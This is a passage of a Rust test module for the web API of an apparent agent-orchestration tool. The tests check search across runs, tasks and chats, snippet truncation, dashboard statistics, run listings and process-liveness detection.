10077 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10078 "{v}"
10079 );
10080 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10081 assert_eq!(
10082 flat, "The Quokka leaks across threads",
10083 "whitespace is collapsed"
10084 );
10085
10086 let both = f
10088 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10089 .await
10090 .json();
10091 assert_eq!(both["total"], 1, "{both}");
10092 let neither = f
10093 .get("/api/search?scope=runs&q=quokka%20zebra")
10094 .await
10095 .json();
10096 assert_eq!(neither["total"], 0, "{neither}");
10097 let stmt = f
10099 .get("/api/search?scope=runs&q=mobile%20first")
10100 .await
10101 .json();
10102 assert_eq!(stmt["total"], 2, "{stmt}");
10103 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10104 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10105 }
10106
10107 #[test]
10108 fn snippet_ignores_terms_longer_than_the_field() {
10109 let terms = ["ok".to_owned(), "elephant".to_owned()];
10110 let parts = snippet_of("ok", &terms);
10111 assert_eq!(
10112 parts,
10113 vec![SnippetPart {
10114 text: "ok".to_owned(),
10115 hit: true
10116 }]
10117 );
10118 }
10119
10120 #[test]
10121 fn snippet_marks_matches_longer_than_the_window() {
10122 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10123 let hit_len = |parts: &[SnippetPart]| -> usize {
10124 parts
10125 .iter()
10126 .filter(|p| p.hit)
10127 .map(|p| p.text.chars().count())
10128 .sum()
10129 };
10130 let total =
10131 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10132
10133 let long = "a".repeat(120);
10134 let parts = snippet_of(&long, std::slice::from_ref(&long));
10135 assert!(hit_len(&parts) > 0, "{parts:?}");
10136 assert!(total(&parts) <= cap);
10137
10138 let ja = "あ".repeat(130);
10139 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10140 assert!(hit_len(&parts) > 0, "{parts:?}");
10141 assert!(total(&parts) <= cap);
10142
10143 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10145 let term = format!("ab{}", "c".repeat(100));
10146 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10147 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10148 assert!(total(&parts) <= cap);
10149
10150 let text = format!("{}z", "a".repeat(119));
10152 let parts = snippet_of(&text, &["a".repeat(120)]);
10153 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10154 }
10155
10156 #[tokio::test]
10157 async fn search_caps_hits_and_snippet_length() {
10158 let f = Fixture::start().await;
10159 let runs = f.runs();
10160 for n in 0..(SEARCH_MAX_HITS + 5) {
10161 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10162 }
10163 let v = f.get("/api/search?scope=runs&q=web").await.json();
10164 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10165 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10166 assert_eq!(v["truncated"], true);
10167 assert!(
10169 v["hits"]
10170 .as_array()
10171 .unwrap()
10172 .iter()
10173 .all(|h| h["run"]["status"] == "merged")
10174 );
10175
10176 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10177 let parts = snippet_of(&long, &["needle".to_owned()]);
10178 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10179 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10180 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10181 }
10182
10183 #[tokio::test]
10184 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10185 let f = Fixture::start().await;
10186 let queue = f.queue();
10187 let mut t = Task::new(
10188 "short title".to_owned(),
10189 "line one\nthe hidden Armadillo detail".to_owned(),
10190 PathBuf::from("/repo/magi"),
10191 Source::Agent {
10192 run: "r1".to_owned(),
10193 node: "chat".to_owned(),
10194 },
10195 );
10196 t.last_error = Some("disk full on /tmp".to_owned());
10197 queue.put(&mut t).expect("file the task");
10198
10199 for (q, want) in [
10200 ("armadillo", 1),
10201 ("disk%20FULL", 1),
10202 ("chat", 1),
10203 ("queued", 1),
10204 ("short%20nothing", 0),
10205 ] {
10206 let v = f
10207 .get(&format!("/api/search?scope=tasks&q={q}"))
10208 .await
10209 .json();
10210 assert_eq!(v["total"], want, "{q}: {v}");
10211 }
10212 for bad in [
10213 "/api/search?scope=tasks&q=",
10214 "/api/search?scope=tasks&q=%20",
10215 "/api/search?scope=chats&q=",
10216 "/api/search?scope=chats&q=%20",
10217 "/api/search?scope=nope&q=a",
10218 "/api/search?q=a",
10219 ] {
10220 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10221 }
10222 }
10223
10224 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10226 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10227 .expect("seat value");
10228 let turns: Vec<serde_json::Value> = turns
10229 .iter()
10230 .map(|(who, body)| {
10231 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10232 })
10233 .collect();
10234 let doc = serde_json::json!({
10235 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10236 "status": status, "turns": turns,
10237 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10238 "seat": seat,
10239 });
10240 let dir = f.home.path().join("talks");
10241 std::fs::create_dir_all(&dir).expect("talks dir");
10242 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10243 }
10244
10245 #[tokio::test]
10246 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10247 let f = Fixture::start().await;
10248 write_talk(
10249 &f,
10250 "20260901-000001-aaaa",
10251 "open",
10252 &[
10253 (
10254 "operator",
10255 "\n Why does the Pangolin cache expire?\nsecond line",
10256 ),
10257 ("agent", "Because the TTL is thirty seconds."),
10258 ],
10259 );
10260 write_talk(
10261 &f,
10262 "20260901-000002-bbbb",
10263 "closed",
10264 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10265 );
10266 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10267
10268 let search = |q: &'static str| {
10269 let f = &f;
10270 async move {
10271 f.get(&format!("/api/search?scope=chats&q={q}"))
10272 .await
10273 .json()
10274 }
10275 };
10276
10277 let v = search("PANGOLIN").await;
10278 assert_eq!(v["scope"], "chats");
10279 assert_eq!(v["total"], 1, "{v}");
10280 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10281 assert_eq!(v["hits"][0]["field"], "title");
10282 assert_eq!(v["unreadable"], 1, "{v}");
10283 let marked: Vec<&str> = v["hits"][0]["snippet"]
10284 .as_array()
10285 .unwrap()
10286 .iter()
10287 .filter(|p| p["hit"] == true)
10288 .map(|p| p["text"].as_str().unwrap())
10289 .collect();
10290 assert_eq!(marked, ["Pangolin"]);
10291
10292 let v = search("zebra").await;
10294 assert_eq!(v["total"], 1, "{v}");
10295 assert_eq!(v["hits"][0]["field"], "agent");
10296 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10298 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10299 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10301 assert_eq!(search(q).await["total"], 0, "{q}");
10302 }
10303 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10305 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10307
10308 let v = f.get("/api/search?scope=nope&q=a").await;
10309 assert_eq!(v.status, 400);
10310 assert!(
10311 v.body.contains("scope must be runs, tasks or chats"),
10312 "{}",
10313 v.body
10314 );
10315 }
10316
10317 #[test]
10318 fn a_question_card_links_a_task_id_to_the_task_page() {
10319 let start = APP_JS
10320 .find("function updateAskCard(")
10321 .expect("updateAskCard exists");
10322 let body = &APP_JS[start..];
10323 let body = &body[..body.find("\n}\n").expect("function end")];
10324 assert!(body.contains("question.run_is_task"));
10325 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10326 assert!(body.contains("`#/runs/${question.run}`"));
10327 assert!(body.contains("\"task\" : \"run\""));
10328 }
10329
10330 #[test]
10331 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10332 let start = APP_JS
10333 .find("function scheduleSearch(")
10334 .expect("scheduleSearch exists");
10335 let body = &APP_JS[start..];
10336 let body = &body[..body.find("\n}\n").expect("function end")];
10337 assert!(body.contains("s.seq += 1"));
10338 }
10339
10340 #[tokio::test]
10345 async fn stats_runs_unreadable_matches_health() {
10346 let f = Fixture::start().await;
10347 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10348 let broken = f.runs().join("20260902-140502-bad");
10349 std::fs::create_dir_all(&broken).expect("run dir");
10350 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10351
10352 let stats = f.get("/api/stats").await;
10353 let health = f.get("/api/health").await;
10354
10355 assert_eq!(stats.status, 200);
10356 assert_eq!(stats.json()["totals"]["runs"], 1);
10357 assert_eq!(stats.json()["runs_unreadable"], 1);
10358 assert_eq!(
10359 stats.json()["runs_unreadable"],
10360 health.json()["runs_unreadable"],
10361 "the dashboard and /api/health must never disagree about how many \
10362 runs could not be read"
10363 );
10364 }
10365
10366 #[tokio::test]
10367 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10368 let f = Fixture::start().await;
10369 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10370 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10371 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10372
10373 let totals = &f.get("/api/stats").await.json()["totals"];
10374 assert_eq!(totals["runs"], 3);
10375 assert_eq!(totals["merged"], 1);
10376 assert_eq!(totals["stalled"], 1);
10377 assert_eq!(totals["in_progress"], 1);
10378 assert_eq!(totals["blocked"], 0);
10381 assert_eq!(totals["ready"], 0);
10382 }
10383
10384 #[tokio::test]
10385 async fn stats_advisors_report_proposals_and_reflection() {
10386 use crate::advise::{Advice, AdvisorRecord, Reflection};
10387 use crate::verdict::Proposal;
10388
10389 let f = Fixture::start().await;
10390 let mut state = RunState::new(
10391 PathBuf::from("/repo/magi"),
10392 "main".to_owned(),
10393 "0123456789abcdef".to_owned(),
10394 "task".to_owned(),
10395 Config::default(),
10396 );
10397 state.id = "20260902-140501-a".to_owned();
10398 state.status = RunStatus::Merged;
10399 state.advice = Some(Advice {
10400 records: vec![
10401 AdvisorRecord {
10402 seat: "advisor-1".to_owned(),
10403 agent: "alpha".to_owned(),
10404 proposal: Some(Proposal {
10405 approach: "do it".to_owned(),
10406 key_tradeoff: "speed over memory".to_owned(),
10407 risks: Vec::new(),
10408 touches: Vec::new(),
10409 why_not_naive: "breaks under load".to_owned(),
10410 }),
10411 error: None,
10412 duration_ms: 0,
10413 reflection: Reflection::Strong,
10414 },
10415 AdvisorRecord {
10416 seat: "advisor-2".to_owned(),
10417 agent: "alpha".to_owned(),
10418 proposal: None,
10419 error: Some("timed out".to_owned()),
10420 duration_ms: 0,
10421 reflection: Reflection::Absent,
10422 },
10423 ],
10424 synthesis: Some("blended brief".to_owned()),
10425 });
10426 let dir = f.runs().join(&state.id);
10427 std::fs::create_dir_all(&dir).expect("run dir");
10428 std::fs::write(
10429 dir.join("run.json"),
10430 serde_json::to_string_pretty(&state).expect("serialize run"),
10431 )
10432 .expect("write run.json");
10433
10434 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10435 let alpha = advisors
10436 .as_array()
10437 .expect("an array")
10438 .iter()
10439 .find(|a| a["agent"] == "alpha")
10440 .expect("alpha row");
10441 assert_eq!(alpha["seated"], 2);
10442 assert_eq!(alpha["proposed"], 1);
10443 assert_eq!(alpha["absent"], 1);
10444 assert_eq!(alpha["strong"], 1);
10445 assert_eq!(alpha["faint"], 0);
10446 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10447 }
10448
10449 #[tokio::test]
10450 async fn stats_release_bumps_split_clean_from_attention() {
10451 use crate::run::ReleaseBump;
10452
10453 let f = Fixture::start().await;
10454
10455 let mut clean = RunState::new(
10456 PathBuf::from("/repo/magi"),
10457 "main".to_owned(),
10458 "0123456789abcdef".to_owned(),
10459 "task".to_owned(),
10460 Config::default(),
10461 );
10462 clean.id = "20260902-140501-a".to_owned();
10463 clean.status = RunStatus::Merged;
10464 clean.release_bump = Some(ReleaseBump {
10465 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10466 version: Some("1.0.0".to_owned()),
10467 automerge_enabled: true,
10468 merged_directly: false,
10469 local: false,
10470 problem: None,
10471 action_required: None,
10472 });
10473
10474 let mut blocked = RunState::new(
10475 PathBuf::from("/repo/magi"),
10476 "main".to_owned(),
10477 "0123456789abcdef".to_owned(),
10478 "task".to_owned(),
10479 Config::default(),
10480 );
10481 blocked.id = "20260902-140502-b".to_owned();
10482 blocked.status = RunStatus::Merged;
10483 blocked.release_bump = Some(ReleaseBump {
10484 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10485 version: Some("1.0.1".to_owned()),
10486 automerge_enabled: false,
10487 merged_directly: false,
10488 local: false,
10489 problem: Some("checks red".to_owned()),
10490 action_required: Some("look at the PR".to_owned()),
10491 });
10492
10493 for state in [&clean, &blocked] {
10494 let dir = f.runs().join(&state.id);
10495 std::fs::create_dir_all(&dir).expect("run dir");
10496 std::fs::write(
10497 dir.join("run.json"),
10498 serde_json::to_string_pretty(state).expect("serialize run"),
10499 )
10500 .expect("write run.json");
10501 }
10502
10503 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10504 assert_eq!(bumps["merged"], 2);
10505 assert_eq!(bumps["recorded"], 2);
10506 assert_eq!(bumps["pr_opened"], 2);
10507 assert_eq!(bumps["automerge_enabled"], 1);
10508 assert_eq!(bumps["needs_attention"], 1);
10509 assert_eq!(bumps["clean"], 1);
10510 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10511 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10512 }
10513
10514 #[tokio::test]
10515 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10516 let f = Fixture::start().await;
10517 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10518
10519 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10520 assert_eq!(bumps["merged"], 1);
10521 assert_eq!(bumps["recorded"], 0);
10522 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10525 assert_eq!(bumps["automerge_rate"], Value::Null);
10528 assert_eq!(bumps["attention_rate"], Value::Null);
10529 }
10530
10531 #[tokio::test]
10532 async fn stats_queue_counts_come_from_the_live_queue() {
10533 let f = Fixture::start().await;
10534 let q = f.queue();
10535 let mut queued = Task::new(
10536 "queued task".to_owned(),
10537 "do it".to_owned(),
10538 PathBuf::from("/repo"),
10539 Source::Human,
10540 );
10541 q.put(&mut queued).expect("put queued");
10542 let mut held = Task::new(
10543 "held task".to_owned(),
10544 "do it later".to_owned(),
10545 PathBuf::from("/repo"),
10546 Source::Human,
10547 );
10548 held.hold_machine(Some("out of attempts".to_owned()));
10549 q.put(&mut held).expect("put held");
10550
10551 let queue = f.get("/api/stats").await.json()["queue"].clone();
10552 assert_eq!(queue["queued"], 1);
10553 assert_eq!(queue["held"], 1);
10554 assert_eq!(queue["running"], 0);
10555 assert_eq!(queue["done"], 0);
10556 assert_eq!(queue["failed"], 0);
10557 assert_eq!(queue["blocked"], 0);
10558 }
10559
10560 #[tokio::test]
10561 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10562 let f = Fixture::start().await;
10563 let stats = f.get("/api/stats").await;
10564 assert_eq!(stats.status, 200);
10565 assert_eq!(stats.json()["totals"]["runs"], 0);
10566 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10567 assert_eq!(stats.json()["runs_unreadable"], 0);
10568 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10569 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10570 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10571 assert_eq!(stats.json()["repo"], Value::Null);
10572 }
10573
10574 #[tokio::test]
10575 async fn stats_lists_every_repository_with_runs_recorded() {
10576 let f = Fixture::start().await;
10577 write_run_repo(
10578 &f.runs(),
10579 "20260902-140501-a",
10580 RunStatus::Merged,
10581 "/repos/a",
10582 );
10583 write_run_repo(
10584 &f.runs(),
10585 "20260902-140502-b",
10586 RunStatus::Merged,
10587 "/repos/a",
10588 );
10589 write_run_repo(
10590 &f.runs(),
10591 "20260902-140503-c",
10592 RunStatus::Blocked,
10593 "/repos/b",
10594 );
10595
10596 let stats = f.get("/api/stats").await;
10597 assert_eq!(stats.status, 200);
10598 assert_eq!(stats.json()["totals"]["runs"], 3);
10600 assert_eq!(stats.json()["repo"], Value::Null);
10601
10602 let repos = stats.json()["repos"].clone();
10603 let repos = repos.as_array().unwrap();
10604 assert_eq!(repos.len(), 2);
10605 assert_eq!(repos[0]["repo"], "/repos/a");
10607 assert_eq!(repos[0]["name"], "a");
10608 assert_eq!(repos[0]["runs"], 2);
10609 assert_eq!(repos[1]["repo"], "/repos/b");
10610 assert_eq!(repos[1]["runs"], 1);
10611 }
10612
10613 #[tokio::test]
10614 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10615 let f = Fixture::start().await;
10616 write_run_repo(
10617 &f.runs(),
10618 "20260902-140501-a",
10619 RunStatus::Merged,
10620 "/repos/a",
10621 );
10622 write_run_repo(
10623 &f.runs(),
10624 "20260902-140502-b",
10625 RunStatus::Blocked,
10626 "/repos/b",
10627 );
10628
10629 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10630 assert_eq!(stats.status, 200);
10631 assert_eq!(stats.json()["totals"]["runs"], 1);
10632 assert_eq!(stats.json()["totals"]["merged"], 1);
10633 assert_eq!(stats.json()["repo"], "/repos/a");
10634 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10637 assert_eq!(stats.json()["runs_unreadable"], 0);
10640 }
10641
10642 #[tokio::test]
10643 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10644 let f = Fixture::start().await;
10645 write_run_repo(
10646 &f.runs(),
10647 "20260902-140501-a",
10648 RunStatus::Merged,
10649 "/repos/a",
10650 );
10651
10652 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10653 assert_eq!(stats.status, 404);
10654 }
10655
10656 #[tokio::test]
10657 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10658 let f = Fixture::start().await;
10659 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10660
10661 let summary = f.get("/api/runs").await.json();
10662 let row = &summary[0];
10663 assert_eq!(row["short"], "a1b2");
10664 assert_eq!(row["status"], "ready");
10665 assert_eq!(row["done"], true);
10666 assert_eq!(row["title"], "Add a web UI");
10667 assert_eq!(row["repo_name"], "magi");
10668 assert_eq!(row["judges"], 3);
10669 assert_eq!(row["winner"], Value::Null);
10670 assert_eq!(row["reviews"], 0);
10671
10672 let detail = f.get("/api/runs/a1b2").await;
10675 assert_eq!(detail.status, 200);
10676 assert_eq!(detail.json()["base_branch"], "main");
10677 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10678 }
10679
10680 #[tokio::test]
10688 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10689 let f = Fixture::start().await;
10690
10691 let mut none_run = RunState::new(
10692 PathBuf::from("/repo/magi"),
10693 "main".to_owned(),
10694 "0123456789abcdef".to_owned(),
10695 "Add a web UI".to_owned(),
10696 Config::default(),
10697 );
10698 none_run.id = "20260902-140503-none".to_owned();
10699 none_run.status = RunStatus::Ready;
10700 none_run.merge = Some(crate::run::MergeOutcome {
10701 mode: crate::config::MergeMode::None,
10702 ok: true,
10703 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10704 empty: false,
10705 });
10706 write_state(&f.runs(), &none_run);
10707
10708 let mut pr_run = RunState::new(
10709 PathBuf::from("/repo/magi"),
10710 "main".to_owned(),
10711 "0123456789abcdef".to_owned(),
10712 "Add a web UI".to_owned(),
10713 Config::default(),
10714 );
10715 pr_run.id = "20260902-140504-prcl".to_owned();
10716 pr_run.status = RunStatus::Ready;
10717 pr_run.merge = Some(crate::run::MergeOutcome {
10718 mode: crate::config::MergeMode::Pr,
10719 ok: false,
10720 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10721 empty: false,
10722 });
10723 write_state(&f.runs(), &pr_run);
10724
10725 let summary = f.get("/api/runs").await.json();
10726 let rows: std::collections::HashMap<&str, &Value> = summary
10727 .as_array()
10728 .expect("an array")
10729 .iter()
10730 .map(|r| (r["id"].as_str().expect("an id"), r))
10731 .collect();
10732 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10733 assert_eq!(
10734 rows[none_run.id.as_str()]["unmerged_by_design"],
10735 true,
10736 "a mode-none Ready must be flagged in the list"
10737 );
10738 assert_eq!(
10739 rows[pr_run.id.as_str()]["unmerged_by_design"],
10740 false,
10741 "a Ready reached by a closed pull request is a different case"
10742 );
10743
10744 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10745 assert_eq!(none_detail["status"], "ready");
10746 assert_eq!(none_detail["unmerged_by_design"], true);
10747
10748 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10749 assert_eq!(pr_detail["unmerged_by_design"], false);
10750 }
10751
10752 #[tokio::test]
10757 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10758 let f = Fixture::start().await;
10759 let id = "20260902-140502-bbbb";
10763 let mut state = RunState::new(
10764 PathBuf::from("/repo/magi"),
10765 "main".to_owned(),
10766 "0123456789abcdef".to_owned(),
10767 "Add a web UI".to_owned(),
10768 Config::default(),
10769 );
10770 state.id = id.to_owned();
10771 state.status = RunStatus::Judging;
10772 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10773 let dir = f.runs().join(id);
10774 std::fs::create_dir_all(&dir).expect("run dir");
10775 std::fs::write(
10776 dir.join("run.json"),
10777 serde_json::to_string_pretty(&state).expect("serialize run"),
10778 )
10779 .expect("write run.json");
10780
10781 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10787 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10788 assert_eq!(cold["live"], "unknown", "{cold}");
10789
10790 write_daemon(f.home.path(), Timestamp::now());
10793 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10794 assert_eq!(warm["live"], "live", "{warm}");
10795 }
10796
10797 #[tokio::test]
10800 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10801 let f = Fixture::start().await;
10802 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10803 let mut state = RunState::new(
10804 PathBuf::from("/repo/magi"),
10805 "main".to_owned(),
10806 "0123456789abcdef".to_owned(),
10807 "Add a web UI".to_owned(),
10808 Config::default(),
10809 );
10810 state.id = id.to_owned();
10811 state.origin = origin;
10812 let mut value = serde_json::to_value(&state).expect("serialize run");
10813 if let Some(schema) = schema {
10814 value["schema"] = serde_json::json!(schema);
10815 value.as_object_mut().unwrap().remove("origin");
10816 }
10817 let dir = f.runs().join(id);
10818 std::fs::create_dir_all(&dir).expect("run dir");
10819 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10820 };
10821 write(
10822 "20260930-092817-ec34",
10823 Some(crate::run::Origin::from_agent_env(
10824 Some(("4a7b".to_owned(), "chat".to_owned())),
10825 None,
10826 )),
10827 None,
10828 );
10829 write("20260930-092817-0ld1", None, Some(12));
10830
10831 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10832 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10833 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10834
10835 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10836 assert_eq!(
10837 old["origin_label"], "origin unknown (started before origins were recorded)",
10838 "{old}"
10839 );
10840 assert!(old["origin"].is_null(), "{old}");
10841
10842 let list = f.get("/api/runs").await.json();
10843 let labels: Vec<_> = list
10844 .as_array()
10845 .unwrap()
10846 .iter()
10847 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10848 .collect();
10849 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10850 }
10851
10852 #[tokio::test]
10859 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10860 let f = Fixture::start().await;
10861 let id = "20260922-090000-cccc";
10862 let mut state = RunState::new(
10863 PathBuf::from("/repo/magi"),
10864 "main".to_owned(),
10865 "0123456789abcdef".to_owned(),
10866 "Review only".to_owned(),
10867 Config::default(),
10868 );
10869 state.id = id.to_owned();
10870 state.status = RunStatus::Reviewing;
10871 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10872 state.driver_pid = Some(std::process::id());
10878 state.driver_started_at = Some(
10879 crate::proc::process_started_at(std::process::id())
10880 .expect("this test process's own start time must be queryable"),
10881 );
10882 let dir = f.runs().join(id);
10883 std::fs::create_dir_all(&dir).expect("run dir");
10884 std::fs::write(
10885 dir.join("run.json"),
10886 serde_json::to_string_pretty(&state).expect("serialize run"),
10887 )
10888 .expect("write run.json");
10889
10890 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10891 assert_eq!(detail["live"], "live", "{detail}");
10892 }
10893
10894 #[tokio::test]
10900 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10901 let f = Fixture::start().await;
10902 let id = "20260922-090100-dddd";
10903 let mut state = RunState::new(
10904 PathBuf::from("/repo/magi"),
10905 "main".to_owned(),
10906 "0123456789abcdef".to_owned(),
10907 "Review only".to_owned(),
10908 Config::default(),
10909 );
10910 state.id = id.to_owned();
10911 state.status = RunStatus::Reviewing;
10912 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10913 state.driver_pid = Some(std::process::id());
10918 state.driver_started_at = Some("1".to_owned());
10919 let dir = f.runs().join(id);
10920 std::fs::create_dir_all(&dir).expect("run dir");
10921 std::fs::write(
10922 dir.join("run.json"),
10923 serde_json::to_string_pretty(&state).expect("serialize run"),
10924 )
10925 .expect("write run.json");
10926
10927 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10928 assert_eq!(detail["live"], "dead", "{detail}");
10929 }
10930
10931 #[test]
10935 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10936 let mk = |id: &str, pid: Option<u32>| {
10937 let mut s = RunState::new(
10938 PathBuf::from("/repo/magi"),
10939 "main".to_owned(),
10940 "0123456789abcdef".to_owned(),
10941 "Add a web UI".to_owned(),
10942 Config::default(),
10943 );
10944 s.id = id.to_owned();
10945 s.driver_pid = pid;
10946 s.driver_started_at = Some("1790000000".to_owned());
10947 s
10948 };
10949 let states = vec![
10950 mk("20260902-140502-aaaa", Some(77)),
10951 mk("20260902-140502-bbbb", Some(77)),
10952 mk("20260902-140502-cccc", Some(77)),
10953 mk("20260902-140502-dddd", None),
10954 ];
10955 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10956 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10957 let sup: HashMap<String, String> = [(
10958 "20260902-140502-aaaa".to_owned(),
10959 "20260902-140502-cccc".to_owned(),
10960 )]
10961 .into();
10962
10963 let status_calls = std::cell::Cell::new(0);
10964 let identity_calls = std::cell::Cell::new(0);
10965 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10966 |_| {
10967 status_calls.set(status_calls.get() + 1);
10968 Some(true)
10969 },
10970 |_| {
10971 identity_calls.set(identity_calls.get() + 1);
10972 Some("1790000000".to_owned())
10973 },
10974 ));
10975 let rows = summarize(
10976 states,
10977 &open,
10978 &claimed,
10979 &sup,
10980 |p| probe.borrow_mut().status(p),
10981 |p| probe.borrow_mut().started_at(p),
10982 );
10983
10984 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10985 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10986 assert_eq!(rows.len(), 4);
10987 assert!(!rows[0].waiting && rows[1].waiting);
10988 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10989 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10990 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10991 assert_eq!(rows[1].superseded_by, None);
10992 }
10993
10994 #[test]
10995 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10996 let mut state = RunState::new(
10997 PathBuf::from("/repo/magi"),
10998 "main".to_owned(),
10999 "0123456789abcdef".to_owned(),
11000 "Review only".to_owned(),
11001 Config::default(),
11002 );
11003 state.id = "20260922-090200-dead".to_owned();
11004 state.status = RunStatus::Reviewing;
11005 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11006 .expect("serialize list row");
11007 assert_eq!(row["status"], "reviewing");
11008 assert_eq!(row["live"], "dead", "{row}");
11009 assert!(!row["done"].as_bool().unwrap());
11010 }
11011
11012 #[tokio::test]
11013 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11014 let f = Fixture::start().await;
11015 for id in [
11016 "20260902-140501-aaaa",
11017 "20260902-140502-bbbb",
11018 "20260902-140503-cccc",
11019 ] {
11020 write_run(&f.runs(), id, RunStatus::Merged);
11021 }
11022
11023 let all = f.get("/api/runs").await.json();
11024 let capped = f.get("/api/runs?limit=2").await.json();
11025
11026 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11027 assert_eq!(all.as_array().map(Vec::len), Some(3));
11028 assert_eq!(capped.as_array().map(Vec::len), Some(2));
